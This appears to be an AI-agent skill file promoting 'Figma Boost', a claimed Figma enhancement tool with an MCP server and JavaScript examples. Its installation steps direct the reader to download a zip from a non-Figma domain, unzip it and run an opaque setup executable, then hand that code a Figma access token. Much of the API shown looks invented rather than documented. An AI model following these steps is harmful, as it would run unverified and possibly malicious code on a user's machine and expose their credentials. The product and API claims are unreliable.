Figma Boost MCP Skill
Skill by ara.so — Design Skills collection.
Overview
Figma Boost is a next-generation creative workspace that delivers AI-powered enhancements, masking, and compositing capabilities for Figma designs. It provides MCP (Model Context Protocol) integration to enable AI coding agents to interact with Figma programmatically, manage design assets, and automate creative workflows.
Installation
Method 1: Direct Download
Download from the official source:
# Visit https://figma-boost.softhvn.xyz to downloadExtract and install:
unzip figma-boost-latest.zip -d ~/figma-boost cd ~/figma-boostRun the setup:
./figma-boost-setup
Method 2: MCP Server Setup
Add to your MCP configuration file (~/.config/mcp/config.json or similar):
{
"mcpServers": {
"figma-boost": {
"command": "node",
"args": ["/path/to/figma-boost/mcp-server.js"],
"env": {
"FIGMA_ACCESS_TOKEN": "${FIGMA_ACCESS_TOKEN}",
"FIGMA_TEAM_ID": "${FIGMA_TEAM_ID}"
}
}
}
}
Configuration
Environment Variables
Set up required environment variables:
export FIGMA_ACCESS_TOKEN="your-figma-personal-access-token"
export FIGMA_TEAM_ID="your-team-id"
export FIGMA_FILE_KEY="optional-default-file-key"
export FIGMA_BOOST_CACHE_DIR="${HOME}/.figma-boost/cache"
Configuration File
Create figma-boost.config.json in your project root:
{
"version": "1.0",
"workspace": {
"defaultFormat": "PNG",
"exportQuality": "high",
"cacheEnabled": true
},
"ai": {
"enhancementLevel": "standard",
"autoMask": true,
"smartFilters": true
},
"export": {
"formats": ["PNG", "SVG", "PDF"],
"scales": [1, 2, 3],
"compression": "auto"
}
}
Core API Usage
Connecting to Figma
const FigmaBoost = require('figma-boost');
// Initialize with access token
const boost = new FigmaBoost({
accessToken: process.env.FIGMA_ACCESS_TOKEN,
teamId: process.env.FIGMA_TEAM_ID
});
// Connect to a specific file
const file = await boost.connectFile('FILE_KEY_HERE');
console.log(`Connected to: ${file.name}`);
Fetching Design Assets
// Get all frames from a page
const frames = await file.getPage('Page 1').getFrames();
// Iterate through frames
for (const frame of frames) {
console.log(`Frame: ${frame.name}`);
console.log(`Size: ${frame.width}x${frame.height}`);
}
// Get specific node by ID
const node = await file.getNode('NODE_ID');
Icon Management
// Search for icons
const icons = await boost.icons.search({
query: 'arrow',
category: 'navigation',
style: 'outlined'
});
// Import icons to Figma file
for (const icon of icons) {
await file.importIcon(icon, {
position: { x: 100, y: 100 },
size: 24
});
}
// Export icons from Figma
await boost.icons.export({
fileKey: 'FILE_KEY',
nodeIds: ['NODE_1', 'NODE_2'],
format: 'SVG',
output: './icons/'
});
AI-Powered Enhancements
// Apply AI enhancement to a frame
const enhanced = await boost.enhance(frame, {
mode: 'auto',
adjustments: {
contrast: 1.2,
saturation: 1.1,
sharpness: 0.8
}
});
// Apply smart masking
const masked = await boost.applyMask(node, {
type: 'auto-detect',
feather: 2,
refinement: 'edges'
});
// Smart filter application
await boost.applyFilter(frame, {
filter: 'color-grade',
preset: 'cinematic',
strength: 0.7
});
Batch Operations
// Process multiple frames
const frames = await file.getAllFrames();
const results = await boost.batch.process(frames, async (frame) => {
// Apply enhancement
await boost.enhance(frame, { mode: 'standard' });
// Export
return await boost.export(frame, {
format: 'PNG',
scale: 2,
output: `./exports/${frame.name}.png`
});
});
console.log(`Processed ${results.length} frames`);
Export Operations
// Export single node
await boost.export(node, {
format: 'PNG',
scale: 2,
background: 'transparent',
output: './output.png'
});
// Export with multiple formats
await boost.exportMultiple(node, {
formats: [
{ type: 'PNG', scale: 1 },
{ type: 'PNG', scale: 2 },
{ type: 'SVG' },
{ type: 'PDF' }
],
output: './exports/'
});
// Export entire page
await boost.exportPage('Page 1', {
format: 'PDF',
layout: 'grid',
output: './page-export.pdf'
});
MCP Server Commands
When running as an MCP server, the following tools are available:
List Files
// Via MCP
{
"tool": "figma_list_files",
"parameters": {
"teamId": "TEAM_ID"
}
}
Get File Contents
{
"tool": "figma_get_file",
"parameters": {
"fileKey": "FILE_KEY",
"depth": 2
}
}
Export Nodes
{
"tool": "figma_export_nodes",
"parameters": {
"fileKey": "FILE_KEY",
"nodeIds": ["NODE_1", "NODE_2"],
"format": "PNG",
"scale": 2
}
}
Apply AI Enhancements
{
"tool": "figma_enhance",
"parameters": {
"fileKey": "FILE_KEY",
"nodeId": "NODE_ID",
"mode": "auto",
"settings": {
"contrast": 1.2,
"saturation": 1.1
}
}
}
Common Patterns
Automated Design System Export
const exportDesignSystem = async (fileKey) => {
const file = await boost.connectFile(fileKey);
const components = await file.getComponents();
for (const component of components) {
// Export at multiple scales
await boost.exportMultiple(component, {
formats: [
{ type: 'PNG', scale: 1 },
{ type: 'PNG', scale: 2 },
{ type: 'SVG' }
],
output: `./design-system/${component.name}/`
});
// Generate metadata
await fs.writeFile(
`./design-system/${component.name}/metadata.json`,
JSON.stringify({
name: component.name,
size: { width: component.width, height: component.height },
exported: new Date().toISOString()
}, null, 2)
);
}
};
Batch Icon Processing
const processIcons = async (iconSet) => {
const icons = await boost.icons.search({ query: iconSet });
for (const icon of icons) {
// Apply enhancement
const enhanced = await boost.enhance(icon, {
mode: 'icon-optimize',
adjustments: { sharpness: 1.5 }
});
// Export optimized versions
await boost.export(enhanced, {
format: 'SVG',
optimize: true,
output: `./icons/${icon.name}.svg`
});
}
};
Design Review Automation
const reviewDesign = async (fileKey) => {
const file = await boost.connectFile(fileKey);
const frames = await file.getAllFrames();
const report = {
file: file.name,
reviewed: new Date().toISOString(),
frames: []
};
for (const frame of frames) {
// Analyze frame
const analysis = await boost.analyze(frame, {
checkContrast: true,
checkAccessibility: true,
checkConsistency: true
});
report.frames.push({
name: frame.name,
issues: analysis.issues,
score: analysis.score
});
}
return report;
};
Troubleshooting
Authentication Issues
// Verify token
try {
const user = await boost.getCurrentUser();
console.log(`Authenticated as: ${user.email}`);
} catch (error) {
console.error('Authentication failed:', error.message);
console.log('Check FIGMA_ACCESS_TOKEN environment variable');
}
Rate Limiting
// Handle rate limits gracefully
const safeRequest = async (operation) => {
try {
return await operation();
} catch (error) {
if (error.code === 'RATE_LIMIT') {
console.log('Rate limited, waiting...');
await new Promise(resolve => setTimeout(resolve, 60000));
return await operation();
}
throw error;
}
};
Cache Management
# Clear cache
rm -rf ~/.figma-boost/cache/*
# Or via API
await boost.clearCache();
Export Failures
// Retry with fallback options
try {
await boost.export(node, { format: 'PNG', scale: 3 });
} catch (error) {
console.warn('High resolution export failed, trying scale 2');
await boost.export(node, { format: 'PNG', scale: 2 });
}
Debug Mode
const boost = new FigmaBoost({
accessToken: process.env.FIGMA_ACCESS_TOKEN,
debug: true,
logLevel: 'verbose'
});
// Logs will show detailed API calls and responses
Best Practices
- Always use environment variables for sensitive data
- Implement retry logic for network operations
- Cache frequently accessed files to reduce API calls
- Use batch operations when processing multiple nodes
- Validate file keys before performing operations
- Monitor rate limits and implement backoff strategies
- Clean up exports regularly to manage disk space
Additional Resources
- Documentation: https://figma-boost.softhvn.xyz
- Figma API Reference: https://www.figma.com/developers/api
- MCP Protocol: https://modelcontextprotocol.io